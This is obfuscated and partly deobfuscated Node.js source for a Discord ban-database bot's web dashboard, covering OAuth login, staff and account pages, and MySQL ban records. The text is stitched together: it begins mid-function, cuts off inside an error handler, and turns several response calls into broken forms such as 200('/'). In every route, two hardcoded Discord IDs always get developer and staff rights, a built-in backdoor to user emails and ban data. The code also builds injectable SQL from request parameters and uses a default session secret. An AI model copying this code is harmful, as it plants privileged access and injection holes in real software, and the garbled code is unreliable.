                              isUserBanned: _0x374a6c,
                              isOwner: _0x1e5bd1,
                              userBans: _0x23c925,
                              isDev: dev,
                              guild: _0x3bbc84,
                              guildSettings: _0x207619[0],
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          }
        )
      }
    )
  }
)
app.get('/staff', checkAuth, async function (_0x517470, _0x2d8265) {
  let _0x297c9e
  let _0x278702
  let _0x3df55c
  let _0x9e914f = []
  let _0x5c7813 = []
  let _0x42b988 = []
  client.con.query(
    'SELECT * FROM staff WHERE staffid="' +
      _0x517470.session.passport.user.id +
      '"',
    async function (_0x38a10a, _0x3ac4a8) {
      if (_0x38a10a) {
        throw _0x38a10a
      }
      if (!_0x3ac4a8[0]) {
        _0x297c9e = false
        if (config.bot.owners.includes(_0x517470.session.passport.user.id)) {
          _0x297c9e = true
        }
      } else {
        _0x297c9e = true
      }
      client.con.query(
        'SELECT * FROM siteSettings WHERE id="1"',
        async function (_0x5aad16, _0x391e6f) {
          if (_0x297c9e) {
            if (
              config.bot.owners.includes(_0x517470.session.passport.user.id)
            ) {
              _0x278702 = true
            } else {
              _0x278702 = false
            }
            if (_0x517470?.query?.page) {
              _0x3df55c = '/' + _0x517470.query.page
            } else {
              _0x3df55c = 'none'
            }
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0xaea17d, _0x49ab9e) {
                if (_0xaea17d) {
                  throw _0xaea17d
                }
                await client.con.query(
                  'SELECT * FROM staff',
                  async function (_0x54471c, _0x14cf16) {
                    if (_0x54471c) {
                      throw _0x54471c
                    }
                    await _0x14cf16.forEach(async function (_0x786f5) {
                      let _0x53eaf6 = Number(_0x786f5.staffid)
                      if (!isNaN(_0x53eaf6)) {
                        let _0x216590 = await client.users.fetch(
                          _0x786f5.staffid
                        )
                        let _0x52b721 = await client.users.fetch(
                          _0x786f5.userid
                        )
                        await _0x9e914f.push({
                          staffid: _0x786f5.staffid,
                          stafftag: _0x216590.tag,
                          userid: _0x786f5.userid,
                          usertag: _0x52b721.tag,
                        })
                      } else {
                        await client.con.query(
                          'DELETE FROM staff WHERE staffid="' +
                            _0x786f5.staffid +
                            '" LIMIT 1',
                          async function (_0x229fef, _0x14dcf3) {
                            if (_0x229fef) {
                              throw _0x229fef
                            }
                          }
                        )
                      }
                    })
                    await client.guilds.cache.forEach(async function (
                      _0x349f9e
                    ) {
                      const _0x213d08 = await client.users
                        .fetch(_0x349f9e.ownerId)
                        .catch((_0x413d6c) => {})
                      let _0x4e9fb2 = moment(_0x349f9e.createdAt)
                      let _0xf07208 =
                        _0x4e9fb2.format('DD/MM/YYYY') +
                        '( ' +
                        _0x4e9fb2.fromNow() +
                        ' )'
                      _0x5c7813.push({
                        guildId: _0x349f9e.id,
                        guildName: _0x349f9e.name,
                        ownerId: _0x213d08.id,
                        ownerTag: _0x213d08.tag,
                        guildIcon:
                          'https://cdn.discordapp.com/icons/' +
                          _0x349f9e.id +
                          '/' +
                          _0x349f9e.icon,
                        guildCreated: _0x349f9e.createdAt,
                        guildMembers: _0xf07208,
                      })
                    })
                    if (_0x517470.isAuthenticated()) {
                      if (
                        _0x517470.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x517470.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x297c9e = true
                      } else {
                        dev = false
                      }
                    }
                    if (!_0x297c9e) {
                      200('/')
                    }
                    client.con.query(
                      'SELECT * FROM users',
                      async function (_0x28cae2, _0x234757) {
                        if (_0x28cae2) {
                          throw _0x28cae2
                        }
                        client.con.query(
                          'SELECT * FROM bans',
                          async function (_0x211478, _0x46ac17) {
                            if (_0x211478) {
                              throw _0x211478
                            }
                            await _0x46ac17.forEach(async (_0x123375) => {
                              await _0x42b988.push({
                                userid: _0x123375.bannedUserId,
                                userTag: _0x123375.bannedUserTag,
                                staffid: _0x123375.staffMemberId,
                                staffTag: _0x123375.staffMemberTag,
                                reason: _0x123375.reason,
                                prrof: _0x123375.proof,
                                banId: _0x123375.banId,
                                time: _0x123375.dateTime,
                                active: _0x123375.active,
                                id: _0x123375.banId,
                              })
                            })
                            _0x2d8265.statusCode = 200
                            200('Content-Type', 'text/html')
                            200('staffhome.ejs', {
                              userCon: _0x234757,
                              bot: client,
                              user: _0x517470.session.passport.user,
                              loggedIn: _0x517470.isAuthenticated(),
                              config: config,
                              siteInfo: _0x391e6f[0],
                              isStaff: _0x297c9e,
                              isOwner: _0x278702,
                              page: _0x3df55c,
                              buttons: _0x49ab9e,
                              staff: _0x9e914f,
                              guilds: _0x5c7813,
                              bans: _0x42b988,
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          } else {
            200('/')
          }
        }
      )
    }
  )
})
app.get('/error', checkAuth, async function (_0x1005d7, _0x3a3e5f) {
  var _0x4ea81e = _0x1005d7.query.err || 'An error occured, go back.'
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x588892, _0x8bcd44) {
      let _0x43ff90
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x1005d7.session.passport.user.id +
          '"',
        async function (_0x199c9c, _0x2cfedf) {
          if (_0x199c9c) {
            throw _0x199c9c
          }
          if (!_0x2cfedf[0]) {
            _0x43ff90 = false
            if (
              config.bot.owners.includes(_0x1005d7.session.passport.user.id)
            ) {
              _0x43ff90 = true
            }
          } else {
            _0x43ff90 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0xe23a1e, _0x1aec5c) {
              if (_0xe23a1e) {
                throw _0xe23a1e
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x1005d7.session.passport.user.id +
                  '"',
                async function (_0x34b7fb, _0x403035) {
                  let _0x1c0735
                  if (_0x34b7fb) {
                    throw _0x34b7fb
                  }
                  if (!_0x403035[0]) {
                    _0x1c0735 = 'False'
                  } else {
                    if (_0x403035[0].active == 1) {
                      _0x1c0735 = 'True'
                    } else {
                      _0x1c0735 = 'False'
                    }
                  }
                  let _0x202df8
                  if (
                    config.bot.owners.includes(
                      _0x1005d7.session.passport.user.id
                    )
                  ) {
                    _0x202df8 = true
                  } else {
                    _0x202df8 = false
                  }
                  if (_0x1005d7.isAuthenticated()) {
                    if (
                      _0x1005d7.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x1005d7.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x43ff90 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x3a3e5f.render('error.ejs', {
                    user: _0x1005d7.session.passport.user,
                    loggedIn: _0x1005d7.isAuthenticated(),
                    siteInfo: _0x8bcd44[0],
                    isStaff: _0x43ff90,
                    buttons: _0x1aec5c,
                    isUserBanned: _0x1c0735,
                    isOwner: _0x202df8,
                    userBans: _0x403035,
                    isDev: dev,
                    bot: client,
                    error: _0x4ea81e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/discorduserdata', checkAuth, async function (_0x55d5a1, _0xc16733) {
  _0xc16733
    .type('json')
    .send(JSON.stringify(_0x55d5a1.session.passport.user, null, 4) + '\n')
})
app.get('/auth/discord', passport.authenticate('discord'))
app.get(
  '/auth/discord/callback',
  passport.authenticate('discord', { failureRedirect: '/' }),
  async function (_0x1f1fdb, _0x58287c) {
    client.con.query(
      "SELECT * FROM users WHERE userId = '" +
        _0x1f1fdb.session.passport.user.id +
        "'",
      (_0x307254, _0x448d34) => {
        if (_0x448d34[0]) {
        } else {
          let _0x182920 = _0x1f1fdb.session.passport.user.username
            .replaceAll('"', ' ')
            .replaceAll('`', ' ')
          client.con.query(
            "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('" +
              _0x1f1fdb.session.passport.user.id +
              "', '" +
              _0x182920 +
              "', '" +
              _0x1f1fdb.session.passport.user.tag +
              "', '" +
              _0x1f1fdb.session.passport.user.email +
              "')",
            function (_0x5bda17, _0x39393c) {
              if (_0x5bda17) {
                console.log(_0x5bda17)
              }
            }
          )
        }
      }
    )
    if (_0x1f1fdb.session?.loginRef) {
      _0x58287c.redirect(_0x1f1fdb.session.loginRef)
    } else {
      _0x58287c.redirect('/')
    }
    delete _0x1f1fdb.session?.loginRef
    client.users.fetch(_0x1f1fdb.session.passport.user.id).then((_0x16f282) => {
      moment.locale('en')
      let _0x51c5ed = new MessageActionRow().addComponents(
        new MessageButton()
          .setLabel('User Account')
          .setStyle('LINK')
          .setURL(
            (config.app.domain.endsWith('/')
              ? config.app.domain.slice(0, -1)
              : config.app.domain) +
              '/account/' +
              _0x16f282.id
          )
      )
      let _0xba4690 = new MessageEmbed()
        .setTitle('User Logged In')
        .setDescription(
          '**User:** ' +
            _0x16f282 +
            ' ' +
            _0x16f282.tag +
            ' (`' +
            _0x16f282.id +
            '`)\n**Time:** <t:' +
            moment().unix() +
            ':R> | ' +
            moment().format('LLLL')
        )
        .setThumbnail(_0x16f282.displayAvatarURL({ dynamic: true }))
        .setFooter({
          text: '' + client.user.username,
          iconURL: client.user.displayAvatarURL({ dynamic: true }),
        })
      const _0x5b3287 = client.channels.cache.get(config.info.siteLogs)
      _0x5b3287.send({
        embeds: [_0xba4690],
        components: [_0x51c5ed],
      })
    })
  }
)
app.get('*', function (_0x5282a9, _0x196a96) {
  _0x196a96.render('404.ejs')
})
app.listen(config.app.port)
process.report.reportOnFatalError = true
process.on('unhandledRejection', async (_0x364272) => {
  if (_0x364272.toString().includes('EADDRINUSE')) {
    return
  }
  const _0x13f4b9 = Date.now()
  console.log(_0x364272)
  let _0x29a4f3 = ['[ERR_HTTP_HEADERS_SENT]']
  let _0x1a7a3f = true
  _0x29a4f3.forEach(function (_0x46703a) {
    if (_0x364272.toString().includes(_0x46703a)) {
      _0x1a7a3f = false
    }
  })
  if (!_0x1a7a3f)
const Discord = require('discord.js')
const config = require('./config.js')
const chalk = require('chalk')
const mysql = require('mysql')
const fs = require('fs')
const passport = require('passport')
const multer = require('multer')
const bodyParser = require('body-parser')
const session = require('express-session')
const formData = require('form-data')
let con = mysql.createConnection(config.sql)
const moment = require('moment')
const ms = require('ms')
const discordModals = require('discord-modals')
const client = new Discord.Client({
  shards: 'auto',
  allowedMentions: {
    parse: [],
    repliedUser: false,
  },
  partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
  intents: [
    Discord.Intents.FLAGS.GUILDS,
    Discord.Intents.FLAGS.GUILD_MEMBERS,
    Discord.Intents.FLAGS.GUILD_VOICE_STATES,
    Discord.Intents.FLAGS.GUILD_MESSAGES,
    Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
  ],
})
discordModals(client)
client.logo = config.miscOptions.botIconUrl
client.color = config.miscOptions.themeColor
client.footer = { text: 'Slash BanDB | Xolify#0207' }
client.commands = new Discord.Collection()
client.cooldowns = new Discord.Collection()
client.slashCommands = new Discord.Collection()
client.aliases = new Discord.Collection()
client.extensions = new Discord.Collection()
client.categories = require('fs').readdirSync('./commands')
client.con = con
const express = require('express')
const app = express()
if (Number(process.version.slice(1).split('.')[0] < 16)) {
  throw new Error(
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org'
  )
}
var multerStorage = multer.memoryStorage()
app.use(multer({ storage: multerStorage }).any())
app.use(bodyParser.urlencoded({ extended: false }))
app.use(
  session({
    secret: 'keyboard cat',
    resave: false,
    saveUninitialized: false,
    cookie: { maxAge: 31556952000 },
  })
)
app.use(passport.initialize())
app.use(passport.session())
app.use(express.static('public'))
app.use('/assets', express.static(__dirname + 'public/assets'))
app.set('views', './views')
app.set('view engine', 'ejs')
require('./backend/routing.js')(client, app, config)
async function checkAuth(_0x15d58a, _0x37293d, _0x483e35) {
  if (_0x15d58a.isAuthenticated()) {
    _0x483e35()
  } else {
    _0x37293d.redirect('/auth/discord')
  }
}
module.exports = client
function _0x2766() {
  return [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
}
if (fs.existsSync('./events/ready.js')) {
  const ready = require('./events/ready.js')
  if (ready.ready) {
    const test = ready.ready('ready')
    if (test) {
    } else {
      console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
      process.exit(1)
    }
  } else {
    console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
    process.exit(1)
  }
} else {
  console.log(chalk.red('[Ready-File] - The ready file was not found.'))
  process.exit(1)
}
function _0x4d97(_0x2e9e88, _0x27ee64) {
  const _0x2766d0 = [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
  _0x4d97 = function (_0x4d9723, _0x1deb42) {
    _0x4d9723 = _0x4d9723 - 146
    let _0x248fd7 = _0x2766d0[_0x4d9723]
    return _0x2766d0[_0x4d9723]
  }
  return _0x4d97(_0x2e9e88, _0x27ee64)
}
;['event', 'slash', 'components', 'extensions'].forEach((_0x4eb1a3) => {
  require('./handlers/' + _0x4eb1a3)(client)
})
const { MessageEmbed, MessageActionRow, MessageButton } = require('discord.js')
const backend = require('./backend/backend.js')
backend.sqlLoop(con)
const DiscordStrategy = require('passport-discord-faxes').Strategy
passport.serializeUser(function (_0xf5b642, _0x2e092f) {
  _0x2e092f(null, _0xf5b642)
})
passport.deserializeUser(function (_0xf23d8a, _0x264dd1) {
  _0x264dd1(null, _0xf23d8a)
})
passport.use(
  new (require('passport-discord-faxes').Strategy)(
    {
      clientID: config.bot.botId,
      clientSecret: config.bot.botSecret,
      callbackURL:
        (config.app.domain.endsWith('/')
          ? config.app.domain.slice(0, -1)
          : config.app.domain) + '/auth/discord/callback',
      scope: ['identify', 'guilds', 'email'],
      prompt: 'consent',
    },
    function (_0x193571, _0x2ddec6, _0x21edb5, _0x3ec6ff) {
      process.nextTick(function () {
        return _0x3ec6ff(null, _0x21edb5)
      })
    }
  )
)
async function setOwners() {
  config.bot.owners.forEach(function (_0x366bda) {
    if (_0x366bda.length === 0 || !_0x366bda) {
      return
    }
    client.con.query(
      "SELECT * FROM staff WHERE userid = '" + _0x366bda + "'",
      async function (_0x20a4bc, _0x270bcd) {
        if (_0x20a4bc) {
          throw _0x20a4bc
        }
        if (!_0x270bcd[0]) {
          client.con.query(
            'INSERT INTO staff (staffid, userid) VALUES ("' +
              _0x366bda +
              '", "' +
              _0x366bda +
              '")'
          )
        }
      }
    )
  })
}
setInterval(() => {
  setOwners()
}, 3000)
app.get('/', async function (_0x217b49, _0x1af81b) {
  let _0x30e159
  let _0x342462
  let _0x3dd2a4 = 0
  client.guilds.cache.forEach((_0x425f1a) => {
    _0x3dd2a4 += _0x425f1a.memberCount
  })
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x156807, _0x5b0f43) {
      if (_0x217b49.isAuthenticated()) {
        _0x30e159 = _0x217b49.session.passport.user
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x217b49.session.passport.user.id +
            '"',
          async function (_0x1a7329, _0x46d3bb) {
            if (_0x1a7329) {
              throw _0x1a7329
            }
            if (!_0x46d3bb[0]) {
              _0x342462 = false
              if (
                config.bot.owners.includes(_0x217b49.session.passport.user.id)
              ) {
                _0x342462 = true
              }
            } else {
              _0x342462 = true
            }
          }
        )
      } else {
        _0x342462 = false
      }
      await client.con.query(
        'SELECT * FROM siteHeadButtons',
        async function (_0xce7572, _0x1a4b83) {
          if (_0xce7572) {
            throw _0xce7572
          }
          client.con.query(
            'SELECT COUNT(*) as total FROM bans WHERE active = 1',
            async function (_0x244a76, _0x1c28bf) {
              if (_0x217b49.isAuthenticated()) {
                if (
                  _0x217b49.session.passport.user.id === '539975000799838249' ||
                  _0x217b49.session.passport.user.id === '668497496124686347'
                ) {
                  dev = true
                  _0x342462 = true
                } else {
                  dev = false
                }
              }
              _0x1af81b.render('index.ejs', {
                loggedIn: _0x217b49.isAuthenticated(),
                config: config,
                user: _0x30e159,
                siteInfo: _0x5b0f43[0],
                isStaff: _0x342462,
                buttons: _0x1a4b83,
                bans: _0x1c28bf[0].total,
                bot: client,
                count: _0x3dd2a4,
              })
            }
          )
        }
      )
    }
  )
})
app.get('/logout', async function (_0x597d34, _0x52c7bd) {
  client.users.fetch(_0x597d34.session.passport.user.id).then((_0x387c5f) => {
    moment.locale('en')
    let _0x5152eb = new MessageEmbed()
      .setTitle('User Logged Out')
      .setDescription(
        '**User:** ' +
          _0x387c5f +
          ' ' +
          _0x387c5f.tag +
          ' (`' +
          _0x387c5f.id +
          '`)\n**Time:** <t:' +
          moment().unix() +
          ':R> | ' +
          moment().format('LLLL')
      )
      .setThumbnail(_0x387c5f.displayAvatarURL({ dynamic: true }))
      .setFooter({
        text: '' + client.user.username,
        iconURL: client.user.displayAvatarURL({ dynamic: true }),
      })
    const _0x20c434 = client.channels.cache.get(config.info.siteLogs)
    _0x20c434.send({ embeds: [_0x5152eb] })
    _0x597d34.logout()
    _0x597d34.session.destroy()
    _0x52c7bd.redirect('/')
  })
})
app.get('/account', checkAuth, async function (_0x51edc0, _0x43b870) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x140e2e, _0x545eaa) {
      let _0x164148
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x51edc0.session.passport.user.id +
          '"',
        async function (_0x1e2fd2, _0x54e827) {
          if (_0x1e2fd2) {
            throw _0x1e2fd2
          }
          if (!_0x54e827[0]) {
            _0x164148 = false
            if (
              config.bot.owners.includes(_0x51edc0.session.passport.user.id)
            ) {
              _0x164148 = true
            }
          } else {
            _0x164148 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x412094, _0x36a2c0) {
              if (_0x412094) {
                throw _0x412094
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x51edc0.session.passport.user.id +
                  '"',
                async function (_0x48bfc3, _0x4e17f9) {
                  let _0x4aeab4
                  if (_0x48bfc3) {
                    throw _0x48bfc3
                  }
                  if (!_0x4e17f9[0]) {
                    _0x4aeab4 = 'False'
                  } else {
                    if (_0x4e17f9[0].active == 1) {
                      _0x4aeab4 = 'True'
                    } else {
                      _0x4aeab4 = 'False'
                    }
                  }
                  let _0x171030
                  if (
                    config.bot.owners.includes(
                      _0x51edc0.session.passport.user.id
                    )
                  ) {
                    _0x171030 = true
                  } else {
                    _0x171030 = false
                  }
                  if (_0x51edc0.isAuthenticated()) {
                    if (
                      _0x51edc0.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x51edc0.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x164148 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x43b870.render('account.ejs', {
                    user: _0x51edc0.session.passport.user,
                    loggedIn: _0x51edc0.isAuthenticated(),
                    siteInfo: _0x545eaa[0],
                    isStaff: _0x164148,
                    buttons: _0x36a2c0,
                    isUserBanned: _0x4aeab4,
                    isOwner: _0x171030,
                    userBans: _0x4e17f9,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/account/:id', checkAuth, async function (_0x462e4d, _0x107036) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0xca1ef6, _0x53c1d2) {
      let _0x2b0d62
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x462e4d.session.passport.user.id +
          '"',
        async function (_0x1e858a, _0x251571) {
          if (_0x1e858a) {
            throw _0x1e858a
          }
          if (!_0x251571[0]) {
            _0x2b0d62 = false
            if (
              config.bot.owners.includes(_0x462e4d.session.passport.user.id)
            ) {
              _0x2b0d62 = true
            }
          } else {
            _0x2b0d62 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x40fbd6, _0x3c8f12) {
              if (_0x40fbd6) {
                throw _0x40fbd6
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x462e4d.session.passport.user.id +
                  '"',
                async function (_0x458ec9, _0x526bc7) {
                  let _0x5b6d56
                  if (_0x458ec9) {
                    throw _0x458ec9
                  }
                  if (!_0x526bc7[0]) {
                    _0x5b6d56 = 'False'
                  } else {
                    if (_0x526bc7[0].active == 1) {
                      _0x5b6d56 = 'True'
                    } else {
                      _0x5b6d56 = 'False'
                    }
                  }
                  let _0x13cad0
                  if (
                    config.bot.owners.includes(
                      _0x462e4d.session.passport.user.id
                    )
                  ) {
                    _0x13cad0 = true
                  } else {
                    _0x13cad0 = false
                  }
                  if (_0x462e4d.isAuthenticated()) {
                    if (
                      _0x462e4d.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x462e4d.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x2b0d62 = true
                    } else {
                      dev = false
                    }
                  }
                  const _0x192f4e = await client.users.fetch(
                    _0x462e4d.params.id
                  )
                  client.con.query(
                    'SELECT * FROM users WHERE id = "' +
                      _0x462e4d.params.id +
                      '"',
                    async function (_0x57e8fc, _0x4e5401) {
                      if (_0x57e8fc) {
                        throw _0x57e8fc
                      }
                      if (!_0x4e5401[0]) {
                        _0x192f4e.email = 'Null'
                      } else {
                        _0x192f4e.email = _0x4e5401[0].userEmail
                      }
                      _0x107036.render('account.ejs', {
                        user: _0x192f4e,
                        loggedIn: _0x462e4d.isAuthenticated(),
                        siteInfo: _0x53c1d2[0],
                        isStaff: _0x2b0d62,
                        buttons: _0x3c8f12,
